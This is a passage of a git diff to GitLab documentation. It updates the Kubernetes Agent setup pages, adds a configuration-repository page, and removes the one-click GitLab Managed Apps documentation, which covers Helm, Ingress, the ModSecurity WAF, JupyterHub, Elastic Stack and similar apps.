issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details. - If you defined your own secret name, replace `gitlab-agent-token` with your secret name in the `secretName:` section. @@ -317,7 +316,8 @@ spec: args: - --token-file=/config/token - --kas-address - - wss://gitlab.host.tld:443/-/kubernetes-agent + - wss://kas.host.tld:443 # change this line for the one below if using Omnibus GitLab + # - wss://gitlab.host.tld:443/-/kubernetes-agent volumeMounts: - name: token-volume mountPath: /config @@ -392,9 +392,12 @@ subjects: In a previous step, you configured a `config.yaml` to point to the GitLab projects the Agent should synchronize. In each of those projects, you must create a `manifest.yaml` file for the Agent to monitor. You can auto-generate this `manifest.yaml` with a -templating engine or other means. Only public projects are supported as -manifest projects. Support for private projects is planned in the issue -[Agent authorization for private manifest projects](https://gitlab.com/gitlab-org/gitlab/-/issues/220912). +templating engine or other means. + +The agent is authorized to download manifests for the configuration +project, and public projects. Support for other private projects is +planned in the issue [Agent authorization for private manifest +projects](https://gitlab.com/gitlab-org/gitlab/-/issues/220912). Each time you commit and push a change to this file, the Agent logs the change: @@ -548,7 +551,7 @@ issue is in progress, directly edit the deployment with the `kubectl edit deployment gitlab-kas` command, and change `--listen-websocket=true` to `--listen-websocket=false`. After running that command, you should be able to use `grpc://gitlab-kas.<YOUR-NAMESPACE>:5005`. -#### Agent logs - Decompressor is not installed for grpc-encoding +### Agent logs - Decompressor is not installed for grpc-encoding ```plaintext {"level":"warn","time":"2020-11-05T05:25:46.916Z","msg":"GetConfiguration.Recv failed","error":"rpc error: code = Unimplemented desc = grpc: Decompressor is not installed for grpc-encoding \"gzip\""} diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md new file mode 100644 index 00000000000..b71bbc29ef9 --- /dev/null +++ b/doc/user/clusters/agent/repository.md @@ -0,0 +1,96 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Kubernetes Agent configuration repository **(PREMIUM ONLY)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. +> - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +The [GitLab Kubernetes Agent integration](index.md) supports hosting your configuration for +multiple GitLab Kubernetes Agents in a single repository. These agents can be running +in the same cluster or in multiple clusters, and potentially with more than one Agent per cluster. + +The Agent bootstraps with the GitLab installation URL and an authentication token, +and you provide the rest of the configuration in your repository, following +Infrastructure as Code (IaaC) best practices. + +A minimal repository layout looks like this, with `my_agent_1` as the name +of your Agent: + +```plaintext +|- .gitlab + |- agents + |- my_agent_1 + |- config.yaml +``` + +## Synchronize manifest projects + +Your `config.yaml` file contains a `gitops` section, which contains a `manifest_projects` +section. Each `id` in the `manifest_projects` section is the path to a Git repository +with Kubernetes resource definitions in YAML or JSON format. The Agent monitors +each project you declare, and when the project changes, GitLab deploys the changes +using the Agent. + +To use multiple YAML files, specify a `paths` attribute in the `gitops` section. + +By default, the Agent monitors all +[Kubernetes object types](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields). +You can exclude some types of resources from monitoring. This enables you to reduce +the permissions needed by the GitOps feature, through `resource_exclusions`. + +To enable a specific named resource, first use `resource_inclusions` to enable desired resources. +The following file excerpt includes specific `api_groups` and `kinds`. The `resource_exclusions` +which follow excludes all other `api_groups` and `kinds`: + +```yaml +gitops: + # Manifest projects are watched by the agent. Whenever a project changes, + # GitLab deploys the changes using the agent. + manifest_projects: + # No authentication mechanisms are currently supported. + # The `id` is a path to a Git repository with Kubernetes resource definitions + # in YAML or JSON format. + - id: gitlab-org/cluster-integration/gitlab-agent + # Holds the only API groups and kinds of resources that gitops will monitor. + # Inclusion rules are evaluated first, then exclusion rules. + # If there is still no match, resource is monitored. + # Resources: https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields + # Groups: https://kubernetes.io/docs/concepts/overview/kubernetes-api/#api-groups-and-versioning + resource_inclusions: + - api_groups: + - apps + kinds: + - '*' + - api_groups: + - '' + kinds: + - 'ConfigMap' + # Holds the API groups and kinds of resources to exclude from gitops watch. + # Inclusion rules are evaluated first, then exclusion rules. + # If there is still no match, resource is monitored. + resource_exclusions: + - api_groups: + - '*' + kinds: + - '*' + # Namespace to use if not set explicitly in object manifest. + default_namespace: my-ns + # Paths inside of the repository to scan for manifest files. + # Directories with names starting with a dot are ignored. + paths: + # Read all .yaml files from team1/app1 directory. + # See https://github.com/bmatcuk/doublestar#about and + # https://pkg.go.dev/github.com/bmatcuk/doublestar/v2#Match for globbing rules. + - glob: '/team1/app1/*.yaml' + # Read all .yaml files from team2/apps and all subdirectories + - glob: '/team2/apps/**/*.yaml' + # If 'paths' is not specified or is an empty list, the configuration below is used + - glob: '/**/*.{yaml,yml,json}' +``` diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md index 67a53fa773f..53be7e995d5 100644 --- a/doc/user/clusters/applications.md +++ b/doc/user/clusters/applications.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Managed Apps @@ -10,595 +10,16 @@ GitLab provides **GitLab Managed Apps** for various applications which can be added directly to your configured cluster. These applications are needed for [Review Apps](../../ci/review_apps/index.md) and [deployments](../../ci/environments/index.md) when using [Auto DevOps](../../topics/autodevops/index.md). -You can install them after you [create a cluster](../project/clusters/add_remove_clusters.md). GitLab provides -GitLab Managed Apps that can installed with [one-click](#install-with-one-click) or [using CI/CD](#install-using-gitlab-cicd-alpha). +You can install them after you [create a cluster](../project/clusters/add_remove_clusters.md). +GitLab provides GitLab Managed Apps [using CI/CD](#install-using-gitlab-cicd). +GitLab Managed Apps with [one-click installations](#install-with-one-click) +have been deprecated, and are scheduled for removal in GitLab 14.0. -## Install with one click - -Applications managed by GitLab are installed onto the `gitlab-managed-apps` -namespace. This namespace: - -- Is different from the namespace used for project deployments. -- Is created once. -- Has a non-configurable name. - -To view a list of available applications to install for a: - -- [Project-level cluster](../project/clusters/index.md), navigate to your project's - **Operations > Kubernetes**. -- [Group-level cluster](../group/clusters/index.md), navigate to your group's - **Kubernetes** page. - -You can install the following applications with one click: - -- [Helm](#helm) -- [Ingress](#ingress) -- [cert-manager](#cert-manager) -- [Prometheus](#prometheus) -- [GitLab Runner](#gitlab-runner) -- [JupyterHub](#jupyterhub) -- [Knative](#knative) -- [Crossplane](#crossplane) -- [Elastic Stack](#elastic-stack) -- [Fluentd](#fluentd) - -With the exception of Knative, the applications are installed in a dedicated -namespace called `gitlab-managed-apps`. - -Some applications are installable only for a project-level cluster. -Support for installing these applications in a group-level cluster is -planned for future releases. -For updates, see the [issue tracking progress](https://gitlab.com/gitlab-org/gitlab/-/issues/24411). - -CAUTION: **Caution:** -If you have an existing Kubernetes cluster with Helm already installed, -you should be careful as GitLab cannot detect it. In this case, installing -Helm with the applications results in the cluster having it twice, which -can lead to confusion during deployments. - -In GitLab versions 11.6 and greater, Helm is upgraded to the latest version -supported by GitLab before installing any of the applications. - -### Helm - -> - Introduced in GitLab 10.2 for project-level clusters. -> - Introduced in GitLab 11.6 for group-level clusters. -> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later. -> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later. - -[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is -used to install the GitLab-managed apps. GitLab runs each `helm` command -in a pod within the `gitlab-managed-apps` namespace inside the cluster. - -- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage - applications. -- For clusters created on versions of GitLab prior to 13.6, GitLab uses - Helm 2 with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. - Prior to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), - GitLab used an in-cluster Tiller server in the `gitlab-managed-apps` - namespace. You can safely remove this server after upgrading to GitLab 13.2 - or newer. - -GitLab's Helm integration does not support installing applications behind a proxy, -but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy) -is available. - -#### Upgrade a cluster to Helm 3 - -GitLab does not currently offer a way to migrate existing application management -on existing clusters from Helm 2 to Helm 3. To migrate a cluster to Helm 3: - -1. Uninstall all applications on your cluster. -1. [Remove the cluster integration](../project/clusters/add_remove_clusters.md#removing-integration). -1. [Re-add the cluster](../project/clusters/add_remove_clusters.md#existing-kubernetes-cluster) as - an existing cluster. - -### cert-manager - -> Introduced in GitLab 11.6 for project- and group-level clusters. - -[cert-manager](https://cert-manager.io/docs/) is a native Kubernetes certificate -management controller that helps with issuing certificates. Installing -cert-manager on your cluster issues a certificate by [Let's Encrypt](https://letsencrypt.org/) -and ensures that certificates are valid and up-to-date. - -The chart used to install this application depends on the version of GitLab used. In: - -- GitLab 12.3 and newer, the [`jetstack/cert-manager`](https://github.com/jetstack/cert-manager) - chart is used with a [`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/cert_manager/values.yaml) - file. -- GitLab 12.2 and older, the [`stable/cert-manager`](https://github.com/helm/charts/tree/master/stable/cert-manager) - chart was used. - -If you installed cert-manager prior to GitLab 12.3, Let's Encrypt -[blocks requests](https://community.letsencrypt.org/t/blocking-old-cert-manager-versions/98753) -from older versions of `cert-manager`. To resolve this: - -1. [Back up any additional configuration](https://cert-manager.io/docs/tutorials/backup/). -1. Uninstall cert-manager. -1. Install cert-manager again. - -### GitLab Runner - -> - Introduced in GitLab 10.6 for project-level clusters. -> - Introduced in GitLab 11.10 for group-level clusters. - -[GitLab Runner](https://docs.gitlab.com/runner/) is the open source project that -is used to run your jobs and send the results back to GitLab. It's used in -conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous -integration service included with GitLab that coordinates the jobs. - -If the project is on GitLab.com, [shared runners](../gitlab_com/index.md#shared-runners) -are available. You don't have to deploy one if they are enough for your -needs. If a project-specific runner is desired, or there are no shared runners, -you can deploy one. - -The deployed runner is set as **privileged**. Root access to the underlying -server is required to build Docker images, so it's the default. Be sure to read -the [security implications](../project/clusters/index.md#security-implications) -before deploying one. - -The [`runner/gitlab-runner`](https://gitlab.com/gitlab-org/charts/gitlab-runner) -chart is used to install this application, using -[a preconfigured `values.yaml`](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/master/values.yaml) -file. Customizing the installation by modifying this file is not supported. This -also means you cannot modify `config.toml` file for this Runner. If you want to -have that possibility and still deploy Runner in Kubernetes, consider using the -[Cluster management project](management_project.md) or installing Runner manually -via [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html). - -### Ingress - -> - Introduced in GitLab 10.2 for project-level clusters. -> - Introduced in GitLab 11.6 for group-level clusters. - -[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) -provides load balancing, SSL termination, and name-based virtual hosting -out of the box. It acts as a web proxy for your applications and is useful -if you want to use [Auto DevOps](../../topics/autodevops/index.md) or deploy your own web apps. - -The Ingress Controller installed is -[Ingress-NGINX](https://kubernetes.io/docs/concepts/services-networking/ingress/), -which is supported by the Kubernetes community. - -With the following procedure, a load balancer must be installed in your cluster -to obtain the endpoint. You can use either -Ingress, or Knative's own load balancer ([Istio](https://istio.io)) if using Knative. - -To publish your web application, you first need to find the endpoint, which is either an IP -address or a hostname associated with your load balancer. - -To install it, click on the **Install** button for Ingress. GitLab attempts -to determine the external endpoint and it should be available within a few minutes. - -#### Determining the external endpoint automatically - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17052) in GitLab 10.6. - -After you install Ingress, the external endpoint should be available within a few minutes. - -TIP: **Tip:** -This endpoint can be used for the -[Auto DevOps base domain](../../topics/autodevops/index.md#auto-devops-base-domain) -using the `KUBE_INGRESS_BASE_DOMAIN` environment variable. - -If the endpoint doesn't appear and your cluster runs on Google Kubernetes Engine: - -1. [Examine your Kubernetes cluster](https://console.cloud.google.com/kubernetes) - on Google Kubernetes Engine to ensure there are no errors on its nodes. -1. Ensure you have enough [Quotas](https://console.cloud.google.com/iam-admin/quotas) - on Google Kubernetes Engine. For more information, see - [Resource Quotas](https://cloud.google.com/compute/quotas). -1. Review [Google Cloud's Status](https://status.cloud.google.com/) for service - disruptions. - -The [`stable/nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/ingress/values.yaml) -file. - -After installing, you may see a `?` for **Ingress IP Address** depending on the -cloud provider. For EKS specifically, this is because the ELB is created -with a DNS name, not an IP address. If GitLab is still unable to -determine the endpoint of your Ingress or Knative application, you can -[determine it manually](#determining-the-external-endpoint-manually). - -#### Determining the external endpoint manually - -If the cluster is on GKE, click the **Google Kubernetes Engine** link in the -**Advanced settings**, or go directly to the -[Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/) -and select the proper project and cluster. Then click **Connect** and execute -the `gcloud` command in a local terminal or using the **Cloud Shell**. - -If the cluster is not on GKE, follow the specific instructions for your -Kubernetes provider to configure `kubectl` with the right credentials. -The output of the following examples show the external endpoint of your -cluster. This information can then be used to set up DNS entries and forwarding -rules that allow external access to your deployed applications. - -- If you installed Ingress using the **Applications**, run the following - command: - - ```shell - kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}' - ``` - -- Some Kubernetes clusters return a hostname instead, like - [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run: - - ```shell - kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}' - ``` - - If EKS is used, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/) - is also created, which will incur additional AWS costs. - -- For Istio/Knative, the command is different: - - ```shell - kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} ' - ``` - -- Otherwise, you can list the IP addresses of all load balancers: - - ```shell - kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} ' - ``` - -You may see a trailing `%` on some Kubernetes versions. Do not include it. - -The Ingress is now available at this address, and routes incoming requests to -the proper service based on the DNS name in the request. To support this, create -a wildcard DNS CNAME record for the desired domain name. For example, -`*.myekscluster.com` would point to the Ingress hostname obtained earlier. - -#### Using a static IP - -By default, an ephemeral external IP address is associated to the cluster's load -balancer. If you associate the ephemeral IP with your DNS and the IP changes, -your apps won't be reachable, and you'd have to change the DNS record again. -To avoid that, change it into a static reserved IP. - -Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip). - -#### Pointing your DNS at the external endpoint - -After you have set up the external endpoint, associate it with a -[wildcard DNS record](https://en.wikipedia.org/wiki/Wildcard_DNS_record) (such -as `*.example.com.`) to reach your apps. If your external endpoint is an IP -address, use an A record. If your external endpoint is a hostname, use a CNAME -record. - -#### Web Application Firewall (ModSecurity) - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21966) in GitLab 12.7. - -A Web Application Firewall (WAF) examines traffic being sent or received, -and can block malicious traffic before it reaches your application. The benefits -of a WAF are: - -- Real-time security monitoring for your application. -- Logging of all your HTTP traffic to the application. -- Access control for your application. -- Highly configurable logging and blocking rules. - -By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/), -which is a toolkit for real-time web application monitoring, logging, and access -control. GitLab's offering applies the [OWASP's Core Rule Set](https://www.modsecurity.org/CRS/Documentation/), -which provides generic attack detection capabilities. - -This feature: - -- Runs in "Detection-only mode" unless configured otherwise. -- Is viewable by checking your Ingress controller's `modsec` log for rule violations. - For example: - - ```shell - kubectl -n gitlab-managed-apps logs -l app=nginx-ingress,component=controller -c modsecurity-log -f - ``` - -To enable WAF, switch its respective toggle to the enabled position when installing or updating [Ingress application](#ingress). - -If this is your first time using GitLab's WAF, we recommend you follow the -[quick start guide](../../topics/web_application_firewall/quick_start_guide.md). - -There is a small performance overhead by enabling ModSecurity. If this is -considered significant for your application, you can disable ModSecurity's -rule engine for your deployed application in any of the following ways: - -1. Set the [deployment variable](../../topics/autodevops/index.md) - `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` to `Off` to prevent ModSecurity - from processing any requests for the given application or environment. -1. Switch its respective toggle to the disabled position, and then apply changes - by selecting **Save changes** to reinstall Ingress with the recent changes. - - - -##### Logging and blocking modes - -To help you tune your WAF rules, you can globally set your WAF to either -*Logging* or *Blocking* mode: - -- *Logging mode*: Allows traffic matching the rule to pass, and logs the event. -- *Blocking mode*: Prevents traffic matching the rule from passing, and logs the event. - -To change your WAF's mode: - -1. If you haven't already done so, [install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md). -1. Navigate to **Operations > Kubernetes**. -1. In **Applications**, scroll to **Ingress**. -1. Under **Global default**, select your desired mode. -1. Select **Save changes**. - -##### WAF version updates - -Enabling, disabling, or changing the logging mode for **ModSecurity** is only -allowed within same version of [Ingress](#ingress) due to limitations in -[Helm](https://helm.sh/) which might be overcome in future releases. - -**ModSecurity** user interface controls are disabled if the version deployed -differs from the one available in GitLab, while actions at the [Ingress](#ingress) -level, such as uninstalling, can still be performed: - - - -Update [Ingress](#ingress) to the most recent version to take advantage of bug -fixes, security fixes, and performance improvements. To update the -[Ingress application](#ingress), you must first uninstall it, and then re-install -it as described in [Install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md). - -##### Viewing Web Application Firewall traffic - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14707) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. - -You can view Web Application Firewall traffic by navigating to your project's -**Security & Compliance > Threat Monitoring** page. From there, you can see -tracked over time: - -- The total amount of traffic to your application. -- The proportion of traffic that's considered anomalous by the Web Application - Firewall's default [OWASP ruleset](https://www.modsecurity.org/CRS/Documentation/). - -If a significant percentage of traffic is anomalous, investigate it for potential threats -by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity). - - - -### JupyterHub - -> - Introduced in GitLab 11.0 for project-level clusters. -> - Introduced in GitLab 12.3 for group and instance-level clusters. - -[JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) is a multi-user service -for managing notebooks across a team. [Jupyter Notebooks](https://jupyter-notebook.readthedocs.io/en/latest/) -provide a web-based interactive programming environment used for data analysis, -visualization, and machine learning. - -The [`jupyter/jupyterhub`](https://jupyterhub.github.io/helm-chart/) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/jupyter/values.yaml) -file. - -Authentication is enabled only for [project members](../project/members/index.md) -for project-level clusters and group members for group-level clusters with -[Developer or higher](../permissions.md) access to the associated project or group. - -GitLab uses a [custom Jupyter image](https://gitlab.com/gitlab-org/jupyterhub-user-image/blob/master/Dockerfile) -that installs additional useful packages on top of the base Jupyter. Ready-to-use -DevOps Runbooks built with Nurtch's [Rubix library](https://github.com/Nurtch/rubix) -are also available. - -More information on creating executable runbooks can be found in -[our Runbooks documentation](../project/clusters/runbooks/index.md#configure-an-executable-runbook-with-gitlab). -Ingress must be installed and have an IP address assigned before -JupyterHub can be installed. - -#### Jupyter Git Integration - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28783) in GitLab 12.0 for project-level clusters. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/32512) in GitLab 12.3 for group and instance-level clusters. - -When installing JupyterHub onto your Kubernetes cluster, -[JupyterLab's Git extension](https://github.com/jupyterlab/jupyterlab-git) -is provisioned and configured using the authenticated user's: - -- Name. -- Email. -- Newly created access token. - -JupyterLab's Git extension enables full version control of your notebooks, and -issuance of Git commands within Jupyter. You can issue Git commands through the -**Git** tab on the left panel, or through Jupyter's command-line prompt. - -JupyterLab's Git extension stores the user token in the JupyterHub DB in encrypted -format, and in the single user Jupyter instance as plain text, because -[Git requires storing credentials as plain text](https://git-scm.com/docs/git-credential-store) -Potentially, if a nefarious user finds a way to read from the file system in the -single-user Jupyter instance, they could retrieve the token. - - - -You can clone repositories from the files tab in Jupyter: - - - -### Knative - -> - Introduced in GitLab 11.5 for project-level clusters. -> - Introduced in GitLab 12.3 for group- and instance-level clusters. - -[Knative](https://cloud.google.com/knative/) provides a platform to -create, deploy, and manage serverless workloads from a Kubernetes -cluster. It's used in conjunction with, and includes -[Istio](https://istio.io) to provide an external IP address for all -programs hosted by Knative. - -The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts) -chart is used to install this application. - -During installation, you must enter a wildcard domain where your applications -will be exposed. Configure your DNS server to use the external IP address for that -domain. Applications created and installed are accessible as -`<program_name>.<kubernetes_namespace>.<domain_name>`, which requires -your Kubernetes cluster to have -[RBAC enabled](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). - -### Prometheus - -> - Introduced in GitLab 10.4 for project-level clusters. -> - Introduced in GitLab 11.11 for group-level clusters. - -[Prometheus](https://prometheus.io/docs/introduction/overview/) is an -open-source monitoring and alerting system useful to supervise your -deployed applications. - -GitLab is able to monitor applications by using the -[Prometheus integration](../project/integrations/prometheus.md). Kubernetes container CPU and -memory metrics are collected, and response metrics are also retrieved -from NGINX Ingress. - -The [`stable/prometheus`](https://github.com/helm/charts/tree/master/stable/prometheus) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/prometheus/values.yaml) -file. - -To enable monitoring, install Prometheus into the cluster with the **Install** -button. - -### Crossplane - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34702) in GitLab 12.5 for project-level clusters. - -[Crossplane](https://crossplane.github.io/docs/v0.9/) is a multi-cloud control plane useful for -managing applications and infrastructure across multiple clouds. It extends the -Kubernetes API using: - -- Custom resources. -- Controllers that watch those custom resources. - -Crossplane allows provisioning and lifecycle management of infrastructure components -across cloud providers in a uniform manner by abstracting cloud provider-specific -configurations. - -The Crossplane GitLab-managed application: - -- Installs Crossplane with a provider of choice on a Kubernetes cluster attached to the - project repository. -- Can then be used to provision infrastructure or managed applications such as - PostgreSQL (for example, CloudSQL from GCP or RDS from AWS) and other services - required by the application with the Auto DevOps pipeline. - -[`alpha/crossplane`](https://github.com/crossplane/crossplane/tree/v0.4.1/cluster/charts/crossplane) chart v0.4.1 is used to -install Crossplane using the -[`values.yaml`](https://github.com/crossplane/crossplane/blob/master/cluster/charts/crossplane/values.yaml.tmpl) -file. - -For information about configuring Crossplane installed on the cluster, see -[Crossplane configuration](crossplane.md). - -### Elastic Stack - -> Introduced in GitLab 12.7 for project- and group-level clusters. - -[Elastic Stack](https://www.elastic.co/elastic-stack) is a complete end-to-end -log analysis solution which helps in deep searching, analyzing and visualizing the logs -generated from different machines. - -GitLab can gather logs from pods in your cluster. Filebeat runs as a DaemonSet -on each node in your cluster, and ships container logs to Elasticsearch for -querying. GitLab then connects to Elasticsearch for logs, instead of the -Kubernetes API, giving you access to more advanced querying capabilities. Log -data is deleted after 30 days, using [Curator](https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/about.html). - -The Elastic Stack cluster application is intended as a log aggregation solution -and is not related to our [Advanced Search](../search/advanced_global_search.md) -functionality, which uses a separate Elasticsearch cluster. - -To enable log shipping: - -1. Ensure your cluster contains at least three nodes of instance types larger - than `f1-micro`, `g1-small`, or `n1-standard-1`. -1. Navigate to **Operations > Kubernetes**. -1. In **Kubernetes Cluster**, select a cluster. -1. In the **Applications** section, find **Elastic Stack**, and then select - **Install**. - -The [`gitlab/elastic-stack`](https://gitlab.com/gitlab-org/charts/elastic-stack) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/elastic_stack/values.yaml) -file. The chart deploys three identical Elasticsearch pods which can't be -colocated, and each requires one CPU and 2 GB of RAM, making them -incompatible with clusters containing fewer than three nodes, or consisting of -`f1-micro`, `g1-small`, `n1-standard-1`, or `*-highcpu-2` instance types. - -#### Optional: deploy Kibana to perform advanced queries - -If you are an advanced user and have direct access to your Kubernetes cluster using `kubectl` and `helm`, you can deploy Kibana manually. - -The following assumes that `helm` has been [initialized](https://v2.helm.sh/docs/helm/) with `helm init`. - -Save the following to `kibana.yml`: - -```yaml -elasticsearch: - enabled: false - -filebeat: - enabled: false - -kibana: - enabled: true - elasticsearchHosts: http://elastic-stack-elasticsearch-master.gitlab-managed-apps.svc.cluster.local:9200 -``` - -Then install it on your cluster: - -```shell -helm repo add gitlab https://charts.gitlab.io -helm install --name kibana gitlab/elastic-stack --values kibana.yml -``` - -To access Kibana, forward the port to your local machine: - -```shell -kubectl port-forward svc/kibana-kibana 5601:5601 -``` - -Then, you can visit Kibana at `http://localhost:5601`. - -### Fluentd - -> Introduced in GitLab 12.10 for project- and group-level clusters. - -[Fluentd](https://www.fluentd.org/) is an open source data collector, which enables -you to unify the data collection and consumption to better use and understand -your data. Fluentd sends logs in syslog format. - -To enable Fluentd: - -1. Navigate to **Operations > Kubernetes** and click - **Applications**. Enter a host, port, and protocol - for sending the WAF logs with syslog. -1. Provide the host domain name or URL in **SIEM Hostname**. -1. Provide the host port number in **SIEM Port**. -1. Select a **SIEM Protocol**. -1. Select at least one of the available logs (such as WAF or Cilium). -1. Click **Save changes**. - - - -### Future apps - -Interested in contributing a new GitLab managed app? Visit the -[development guidelines page](../../development/kubernetes.md#gitlab-managed-apps) -to get started. - -## Install using GitLab CI/CD (alpha) +## Install using GitLab CI/CD > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20822) in GitLab 12.6. -CAUTION: **Warning:** +WARNING: This is an _alpha_ feature, and is subject to change at any time without prior notice. @@ -664,14 +85,15 @@ applications you have configured. In case of pipeline failure, the output of the [Helm Tiller](https://v2.helm.sh/docs/install/#running-tiller-locally) binary is saved as a [CI job artifact](../../ci/pipelines/job_artifacts.md). +#### Usage in GitLab versions earlier than 13.5 + For GitLab versions 13.5 and below, the Ingress, Fluentd, Prometheus, -and Sentry apps are fetched from the central Helm [stable -repository](https://kubernetes-charts.storage.googleapis.com/), which -will be [deleted](https://github.com/helm/charts#deprecation-timeline) -on November 13, 2020. This will cause the installation CI/CD pipeline to +and Sentry apps are fetched from the central Helm +[stable repository](https://kubernetes-charts.storage.googleapis.com/). This repository +[was deleted](https://github.com/helm/charts#deprecation-timeline) +on November 13, 2020. This causes the installation CI/CD pipeline to fail. Upgrade to GitLab 13.6, or alternatively, you can -use the following `.gitlab-ci.yml`, which has been tested on GitLab -13.5: +use the following `.gitlab-ci.yml`, which has been tested on GitLab 13.5: ```yaml include: @@ -738,7 +160,7 @@ for the available configuration options. Support for installing the Ingress managed application is provided by the GitLab Configure group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group). +[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group). ### Install cert-manager using GitLab CI/CD @@ -782,7 +204,7 @@ Support for installing the Cert Manager managed application is provided by the GitLab Configure group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group). +[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group). ### Install Sentry using GitLab CI/CD @@ -809,7 +231,7 @@ for the available configuration options. We recommend you pay close attention to the following configuration options: - `email`. Needed to invite users to your Sentry instance and to send error emails. -- `user`. Where you can set the login credentials for the default admin user. +- `user`. Where you can set the login credentials for the default administrator user. - `postgresql`. For a PostgreSQL password that can be used when running future updates. When upgrading, it's important to provide the existing PostgreSQL password (given @@ -851,7 +273,7 @@ Support for installing the Sentry managed application is provided by the GitLab Health group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Health group](https://about.gitlab.com/handbook/product/product-categories/#health-group). +[Health group](https://about.gitlab.com/handbook/product/categories/#health-group). ### Install PostHog using GitLab CI/CD @@ -867,8 +289,8 @@ posthog: You can customize the installation of PostHog by defining `.gitlab/managed-apps/posthog/values.yaml` in your cluster management project. Refer to the -[Configuration section of the PostHog chart's README](https://github.com/PostHog/charts/tree/master/charts/posthog) -for the available configuration options. +[Configuration section](https://github.com/PostHog/charts/tree/master/charts/posthog) +of the PostHog chart's README for the available configuration options. You must provide a PostgreSQL password in `postgresql.postgresqlPassword` to avoid authentication errors. Read the @@ -922,13 +344,13 @@ prometheus: You can customize the installation of Prometheus by defining `.gitlab/managed-apps/prometheus/values.yaml` in your cluster management project. Refer to the -[Configuration section of the Prometheus chart's README](https://github.com/helm/charts/tree/master/stable/prometheus#configuration) -for the available configuration options. +[Configuration section](https://github.com/helm/charts/tree/master/stable/prometheus#configuration) +of the Prometheus chart's README for the available configuration options. Support for installing the Prometheus managed application is provided by the GitLab APM group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at -least 2 people from the [APM group](https://about.gitlab.com/handbook/product/product-categories/#apm-group). +least 2 people from the [APM group](https://about.gitlab.com/handbook/product/categories/#apm-group). ### Install GitLab Runner 